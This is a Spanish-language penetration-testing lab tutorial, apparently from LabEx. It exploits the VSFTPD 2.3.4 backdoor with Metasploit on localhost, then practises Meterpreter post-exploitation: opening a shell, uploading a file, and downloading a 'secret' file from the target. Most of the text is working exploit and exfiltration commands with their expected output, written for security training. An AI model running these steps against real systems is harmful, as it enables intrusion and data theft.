Introducción
En este laboratorio, aprenderás los fundamentos de la post-explotación utilizando Metasploit Framework. Primero, obtendrás acceso inicial explotando un servidor FTP vulnerable para establecer una sesión de Meterpreter. Luego, pasarás a la fase de post-explotación. El objetivo de esta etapa es explorar el sistema comprometido, escalar privilegios y exfiltrar datos.
Practicarás comandos esenciales de Meterpreter para interactuar con una sesión, ejecutar comandos de shell y transferir archivos entre la máquina atacante y la víctima. Este laboratorio te guiará desde el exploit inicial hasta las técnicas básicas de post-explotación.
Obtener acceso inicial
En este paso, obtendrás acceso al sistema objetivo explotando una puerta trasera (backdoor) en el servicio VSFTPD 2.3.4. Esto te proporcionará una sesión de Meterpreter para la post-explotación.
Primero, inicia la consola de Metasploit Framework.
msfconsole -q
Una vez que Metasploit esté en ejecución, selecciona el exploit para la puerta trasera de VSFTPD 2.3.4.
use exploit/unix/ftp/vsftpd_234_backdoor
Ahora, configura las opciones del objetivo y del payload. Dado que el servicio se está ejecutando en la misma máquina, utilizaremos la IP de loopback. El payload predeterminado requiere LHOST y puede fallar con el error "All encoders failed to encode"; configura el codificador para evitar esto:
set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none
Finalmente, lanza el exploit.
exploit
SOLUCIÓN DE PROBLEMAS: Si ves
Msf::OptionValidateError One or more options failed to validate: LHOST, ejecutaset LHOST 127.0.0.1. Si vesAll encoders failed to encode, ejecutaset Encoder generic/none. Luego, vuelve a ejecutarexploit.
ADVERTENCIA: El primer intento podría fallar con el mensaje "Unable to connect to backdoor on 6200/TCP. Cooldown?" o "Exploit completed, but no session was created." Si esto sucede, simplemente ejecuta el comando
exploitde nuevo; el segundo intento debería tener éxito.
Si tienes éxito, se abrirá una sesión de Meterpreter (sesión 1).
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
Ahora tienes una sesión de Meterpreter. Para volver al prompt msf > para el siguiente paso, presiona Ctrl+Z y luego y cuando se te pregunte "¿Background session 1?".
Interactuar con la sesión de Meterpreter
Ahora que tienes una sesión de Meterpreter en segundo plano, aprenderás cómo interactuar con ella. El comando sessions lista todas las sesiones activas y solo funciona en el prompt principal de Metasploit (msf exploit(...) >), no dentro de Meterpreter.
Para ver tus sesiones activas, ejecuta:
sessions
Deberías ver tu sesión de Meterpreter con el ID 1.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
Para interactuar con la sesión 1, ejecuta:
sessions -i 1
Tu prompt cambiará a meterpreter >, lo que indica que ahora estás dentro de la sesión.
[*] Starting interaction with 1...
meterpreter >
Ya estás listo para ejecutar comandos de post-explotación desde Meterpreter.
Ejecutar comandos de shell con el comando shell
Desde Meterpreter, puedes acceder a una shell del sistema estándar para ejecutar comandos en el objetivo. Esto es útil cuando necesitas ejecutar comandos o scripts específicos de la shell.
En el prompt meterpreter >, escribe:
shell
Se abrirá una shell estándar en el objetivo remoto. El prompt puede parecer que se congela brevemente, pero ya estarás en una shell del sistema y podrás ejecutar comandos directamente.
Process 1654 created.
Channel 1 created.
Ejecuta whoami para confirmar tu contexto de usuario:
whoami
labex
Escribe exit para volver al prompt de Meterpreter.
exit
Tu prompt volverá a ser meterpreter >. En el siguiente paso, usarás esta sesión para cargar un archivo al objetivo.
Cargar archivos con upload /ruta/local /ruta/remota
El comando upload de Meterpreter transfiere archivos desde tu máquina local al objetivo. Hay un archivo llamado local_file.txt en /home/labex/project. Cárgalo a /tmp en la máquina remota.
Desde el prompt meterpreter >, ejecuta:
upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt
Verás una salida confirmando la carga:
[*] Uploading : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
En este laboratorio, el objetivo se ejecuta en la misma máquina, por lo que el archivo aparecerá en /tmp/uploaded_file.txt. A continuación, practicarás la operación inversa: descargar un archivo desde el objetivo.
Descargar archivos con download /ruta/remota /ruta/local
El comando download transfiere archivos desde el objetivo a tu máquina local. Hay un archivo llamado secret_data.txt en /tmp en el sistema remoto. Descárgalo a tu directorio de proyecto.
Desde el prompt meterpreter >, ejecuta:
download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt
Verás una salida confirmando la descarga. Meterpreter puede crear un directorio llamado downloaded_secret.txt y colocar el archivo dentro de él como secret_data.txt.
[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
El archivo ya está en tu máquina local. En el paso final, cerrarás la sesión y verificarás el contenido descargado.
Salir de la sesión con el comando exit
En este paso final, cerrarás la sesión de Meterpreter y saldrás de la consola de Metasploit.
Desde el prompt meterpreter >, escribe exit para cerrar la sesión.
exit
[*] Shutting down session: 1
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
Para salir de la consola de Metasploit, escribe exit. Si se te pregunta sobre una sesión activa, usa exit -y para forzar la salida.
exit -y
Verifica el archivo descargado. Como se mencionó anteriormente, es posible que Meterpreter haya creado un directorio; el archivo se encuentra en downloaded_secret.txt/secret_data.txt:
cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.
¡Felicidades! Has completado un flujo de trabajo completo de explotación y post-explotación.
Resumen
En este laboratorio, has aprendido un flujo de trabajo completo desde el acceso inicial hasta la post-explotación. Comenzaste obteniendo una sesión de Meterpreter mediante un exploit. Practicaste cómo listar e interactuar con sesiones, obtener una shell del sistema estándar desde Meterpreter y dominaste la transferencia de archivos entre la máquina atacante y la víctima utilizando los comandos upload y download. Finalmente, aprendiste cómo cerrar correctamente una sesión y salir de la consola de Metasploit. Estas habilidades son fundamentales para las pruebas de penetración.



